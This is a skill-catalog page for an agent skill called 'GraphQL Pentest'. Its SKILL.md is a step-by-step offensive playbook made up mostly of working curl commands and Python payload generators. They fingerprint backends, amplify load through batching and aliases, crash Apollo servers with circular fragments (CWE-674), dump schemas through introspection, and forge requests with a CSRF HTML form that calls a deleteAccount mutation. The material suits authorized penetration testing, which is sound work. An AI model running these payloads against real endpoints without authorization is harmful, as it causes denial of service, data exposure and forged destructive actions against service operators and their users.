Now liveThe Skillselion MCP - thousands of ranked skills, loaded into your agent mid-task. No install.Get it →
dreadnode avatar

Graphql Pentest

  • 1 installs
  • 10 repo stars
  • Updated August 3, 2026
  • dreadnode/capabilities

Test GraphQL endpoints for discovery, batching and alias DoS, circular-fragment crashes, introspection leaks, and content-type CSRF, with a capability matrix.

About

Runs systematic GraphQL security testing from endpoint discovery through backend fingerprinting, resource-abuse DoS, introspection mining, and CSRF. A developer uses it when pentesting a target that exposes GraphQL endpoints.

  • Circular-fragment DoS (CWE-674) fingerprints Apollo vs graphql-java
  • Capability matrix covers batching, aliases, deep nesting, and rate limiting

Graphql Pentest by the numbers

  • 1 all-time installs (skills.sh)
  • Ranked #1,835 of 2,203 Security skills by installs in the Skillselion catalog
  • Data as of Aug 4, 2026 (Skillselion catalog sync)
npx skills add https://github.com/dreadnode/capabilities --skill graphql-pentest

Add your badge

Show developers this skill is listed on Skillselion. Paste this into your README.

Listed on Skillselion
Installs1
repo stars10
Last updatedAugust 3, 2026
Repositorydreadnode/capabilities

What it does

Test GraphQL endpoints for discovery, batching and alias DoS, circular-fragment crashes, introspection leaks, and content-type CSRF, with a capability matrix.

Files

SKILL.mdMarkdownGitHub ↗

GraphQL Pentesting

Systematic GraphQL security testing from endpoint discovery through resource abuse, auth bypass, and information disclosure. Covers the full attack surface: batching DoS, alias amplification, circular fragment crashes (CWE-674), deep nesting, introspection mining, content-type CSRF, and persisted query abuse.

When to Use

  • JS source contains fetch/axios/gql calls to /graphql paths
  • Proxy sitemap shows application/json POST to GraphQL-shaped endpoints
  • Static analysis matches flag GraphQL operations, mutations, or schema fragments
  • Target uses known GraphQL frameworks (Apollo, graphql-java, Hasura, Yoga, Strawberry)
  • Error responses contain extensions.code, GRAPHQL_VALIDATION_FAILED, or PersistedQueryNotFound

Base Request

All GraphQL requests use this template (abbreviated as GQL in examples below):

curl -sk -X POST "https://TARGET/graphql" \
  -H "Content-Type: application/json"

Phase 1: Endpoint Discovery

Common Paths

Probe these paths with POST {"query":"{__typename}"} and Content-Type: application/json:

/graphql              /api/graphql           /v1/graphql
/gql                  /api/gql               /v2/graphql
/query                /api/query             /graphiql
/g/api/graphql        /g/api/*/graphql       /graphql/console
/playground           /altair                /voyager
/graphql/schema.json  /graphql/schema.graphql

For microservice architectures, enumerate service-specific paths:

/api/<service>/graphql    (e.g., /api/comments-server/graphql)
/g/api/<service>/graphql  (gateway prefix)
/<service>/graphql        (direct service routing)

Source-driven discovery: Extract GraphQL paths from JS bundles. Search for fetch(", axios.post(", gql\, useQuery, useMutation, createHttpLink, ApolloClient, graphql-tag` in static analysis matches or source maps.

Validation

For each discovered endpoint, send:

GQL POST "https://TARGET/graphql" -d '{"query":"{__typename}"}'
  • 200 {"data":{"__typename":"Query"}} = active GraphQL endpoint
  • 401/403 = active but requires auth
  • 400 "Must provide query string" = active (different framework)
  • 404/405 = not routed

Phase 2: Backend Fingerprinting

Identify the backend before testing — it determines which attacks apply. Full differential table in references/fingerprints.md.

Key differential: Apollo Server (Node.js) does NOT validate circular fragments by default. graphql-java does. This is the most reliable fingerprint and the highest-value DoS vector.

# Fingerprint via circular fragment (most reliable)
GQL POST "https://TARGET/graphql" \
  -d '{"query":"fragment A on Query{...B} fragment B on Query{...A} query{...A}"}'
  • 500 Internal Server Error = Apollo Server (vulnerable to CWE-674)
  • 200 + FragmentCycle not allowed = graphql-java (safe)
  • 200 + Cannot spread fragment = Yoga/validated

Phase 3: Capability Matrix

Test every discovered endpoint for each capability. Build a matrix.

TestPayloadVulnerable if
Batching[{"query":"{__typename}"},{"query":"{__typename}"}]Both execute (two results returned)
Batch limitIncrement array size until rejectionFind the ceiling (e.g., 5, 30, unlimited)
Aliases{"query":"{a1:__typename a2:__typename ... aN:__typename}"}Returns N results; find the ceiling
Introspection{"query":"{__schema{types{name}}}"}Returns type list
Partial introspection{"query":"{__schema{queryType{name}}}"}Top-level works but nested fields stripped
Circular fragments{"query":"fragment A on Query{...B} fragment B on Query{...A} query{...A}"}HTTP 500
Deep nestingRecursive { field { field { field ... } } } at depth 50+No depth limit rejection
Directive overload{"query":"{__typename @skip(if:false) @skip(if:false) ...x100}"}Accepted without limit
GET methodGET /graphql?query={__typename}Executes (enables CSRF without preflight)
application/graphql CTBody: {__typename} with Content-Type: application/graphqlExecutes (CSRF vector: no JSON = no preflight)
APQ{"extensions":{"persistedQuery":{"version":1,"sha256Hash":"abc123"}}}PERSISTED_QUERY_NOT_FOUND (APQ enabled)
WebSocketUpgrade: websocket on graphql pathSubscription endpoint active
Rate limiting50 requests in 5sNo 429 responses

Matrix Template

Record results per endpoint:

| Endpoint | Batch | Aliases | Introspection | Circ Frag | Depth | GET | CT diff | Rate Limit |
|----------|-------|---------|---------------|-----------|-------|-----|---------|------------|
| /graphql | [result] | [limit] | [full/partial/off] | [500/safe] | [limit] | [y/n] | [y/n] | [y/n] |

Phase 4: Resource Abuse (DoS)

4A: Batching Amplification

If batching is enabled, multiply expensive operations:

# Generate batched payload (N copies of expensive query)
python3 -c "
import json
q = {'query': '{session { id email name }}'}  # expensive resolver
print(json.dumps([q]*30))
" > /tmp/batch_payload.json

curl -sk -X POST "https://TARGET/graphql" \
  -H "Content-Type: application/json" \
  -w "\n%{time_total}s" \
  -d @/tmp/batch_payload.json

Proof methodology: Compare baseline (single query) vs batched response time. Document the multiplier.

  • Baseline: {session{id}} = 150ms
  • Batched 30x: 30 copies = 4500ms (30x amplification)

4B: Alias Amplification

If aliases are unlimited or high-limit, multiply within a single query:

# Generate alias payload
python3 -c "
aliases = ' '.join([f'a{i}:session{{id email name}}' for i in range(1000)])
import json
print(json.dumps({'query': '{' + aliases + '}'}))
" > /tmp/alias_payload.json

curl -sk -X POST "https://TARGET/graphql" \
  -H "Content-Type: application/json" \
  -w "\n%{time_total}s" \
  -d @/tmp/alias_payload.json

Combined vector: If both batching and aliases work, multiply: batch_limit x alias_limit = total_ops. Example: 5 batches x 1000 aliases = 5000 resolver invocations in one HTTP request.

4C: Circular Fragment DoS (CWE-674)

Triggers uncontrolled recursion on Apollo Server (Node.js) backends that skip NoFragmentCycles validation.

# 2-way cycle (minimal)
curl -sk -X POST "https://TARGET/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"fragment A on Query{...B} fragment B on Query{...A} query{...A}"}'

Escalation variants:

2-way:  fragment A on Query{...B} fragment B on Query{...A} query{...A}
3-way:  fragment A on Query{...B} fragment B on Query{...C} fragment C on Query{...A} query{...A}
5-way:  fragment A on Query{...B} fragment B on Query{...C} fragment C on Query{...D} fragment D on Query{...E} fragment E on Query{...A} query{...A}

If batching is also enabled, batch N circular fragment queries for N stack overflows per request:

python3 -c "
import json
q = {'query': 'fragment A on Query{...B} fragment B on Query{...A} query{...A}'}
print(json.dumps([q]*30))
" > /tmp/batch_circ_payload.json

Impact evidence:

  • 500 Internal Server Error = unhandled exception (server crash)
  • "Maximum call stack size exceeded" in response = Node.js stack overflow (process kill)
  • Response body contains RangeError = confirmed CWE-674

4D: Deep Nesting

For targets with recursive type relationships (e.g., User.friends returns [User]):

curl -sk -X POST "https://TARGET/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{user{friends{friends{friends{friends{friends{friends{friends{friends{friends{friends{id}}}}}}}}}}}}"}'

Test incrementally: depth 10, 20, 50, 100. Document where depth limiting kicks in (if ever).

Phase 5: Information Disclosure

5A: Introspection Mining

If introspection is enabled (full or partial), dump the schema:

curl -sk -X POST "https://TARGET/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { queryType { name } mutationType { name } types { name kind fields { name type { name kind ofType { name } } args { name type { name } } } } } }"}' \
  | python3 -m json.tool > /tmp/schema.json

What to extract:

  • Mutation names (state-changing operations: deleteUser, updateRole, createPayment)
  • Types with PII fields (email, phone, ssn, password, token)
  • Resolver arguments that accept IDs (IDOR candidates)
  • Subscription types (real-time data exfil)
  • Deprecated fields (may have weaker auth)

5B: Field Suggestion Exploitation

When introspection is disabled, submit typos and read error suggestions:

curl -sk -X POST "https://TARGET/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{usre{id}}"}'
# Response: "Did you mean 'user'?" -> schema enumeration via typos

Automate with a wordlist of common field/type names.

5C: Configuration Endpoints

Check for adjacent configuration endpoints near GraphQL paths:

/graphql/env         /graphql/health       /graphql/metrics
/api/graphql/env     /api/graphql/config    /api/graphql/debug
/<service>/env       /<service>/health      /<service>/config

These can leak Sentry DSNs, feature flags, build hashes, monitoring URLs, and internal service topology.

Phase 6: Auth and Access Control

6A: Content-Type CSRF

If an endpoint accepts application/graphql or GET queries, CSRF is possible without preflight:

curl -sk -X POST "https://TARGET/graphql" \
  -H "Content-Type: application/graphql" \
  -d '{deleteAccount{success}}'

If the mutation executes, state-changing CSRF is confirmed. Build PoC HTML form:

<form action="https://TARGET/graphql" method="POST" enctype="text/plain">
  <input name='{"query":"mutation{deleteAccount{success}}","a":"' value='"}' />
  <input type="submit" value="Click me" />
</form>

6B: Unauthenticated Access Probing

Test every endpoint without auth tokens:

curl -sk -X POST "https://TARGET/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{__typename}"}'
  • 200 with data = unauthenticated access (test mutations next)
  • 401/403 = auth required (expected)

6C: Persisted Query Hash Enumeration

If APQ is enabled (PERSISTED_QUERY_NOT_FOUND), known operation hashes bypass query allowlists. Extract hashes from JS bundles by grepping for sha256Hash followed by 64 hex chars.

Proof Methodology

Timing-Based Evidence

For all DoS vectors, the proof is the response time differential:

# Step 1: Baseline (3 samples)
for i in 1 2 3; do
  curl -sk -w "%{time_total}\n" -o /dev/null \
    -X POST "https://TARGET/graphql" \
    -H "Content-Type: application/json" \
    -d '{"query":"{__typename}"}'
done

# Step 2: Amplified (single request)
curl -sk -w "%{time_total}\n" -o /dev/null \
  -X POST "https://TARGET/graphql" \
  -H "Content-Type: application/json" \
  -d @/tmp/amplified_payload.json

# Step 3: Document multiplier
# Baseline avg: 0.15s, Amplified: 6.2s = 41x amplification

Stack Overflow Evidence

For circular fragment DoS, capture the error response body showing RangeError or Maximum call stack size exceeded. The 500 alone is the finding; the stack trace is bonus evidence.

Chain With

  • auth-matrix-testing — after mapping mutations via introspection, test per-resolver authorization
  • race-condition-single-packet — batch + alias amplification as race condition trigger mechanism
  • orm-filter-data-leak — GraphQL filter/search arguments often map to ORM queries with traversable relationships
  • saas-provider-url-ssrf — GraphQL mutations accepting URLs (webhooks, avatars, imports) as SSRF sinks
  • blind-ssrf-chains — GraphQL connector/datasource mutations as blind SSRF entry points
  • h2-waf-bypass — if WAF blocks GraphQL payloads, escalate via HTTP/2 framing
  • cspt-xss — SPA fetch paths derived from URL params that hit GraphQL endpoints

Rules

  • Build the matrix first. Test every endpoint for every capability before exploiting anything. The matrix reveals which endpoints are soft targets.
  • Fingerprint the backend. Apollo vs graphql-java determines whether circular fragments crash the server. Do not waste time on CWE-674 against graphql-java.
  • Timing proof is king. For DoS, the response time differential (baseline vs amplified) is the cleanest evidence. Always measure baseline first.
  • Circular fragments are not batching. They are separate vulnerability classes (CWE-674 vs CWE-400). Report them separately even if on the same endpoint.
  • Check batch + alias combined. The most powerful amplification is batch_limit x alias_limit. A 5-batch endpoint with unlimited aliases yields 5000+ ops per request.
  • application/graphql is a CSRF vector. If mutations execute via non-JSON content types, CSRF is possible without CORS preflight. Always test this.
  • Introspection feeds everything. Even partial introspection (top-level types) reveals expensive resolvers for alias amplification and mutation names for auth testing.

Reference

Related skills

Securityappsecaudit

This week in AI coding

Five minutes, every Monday - the tools, releases and tactics for developers.

unsubscribe anytime.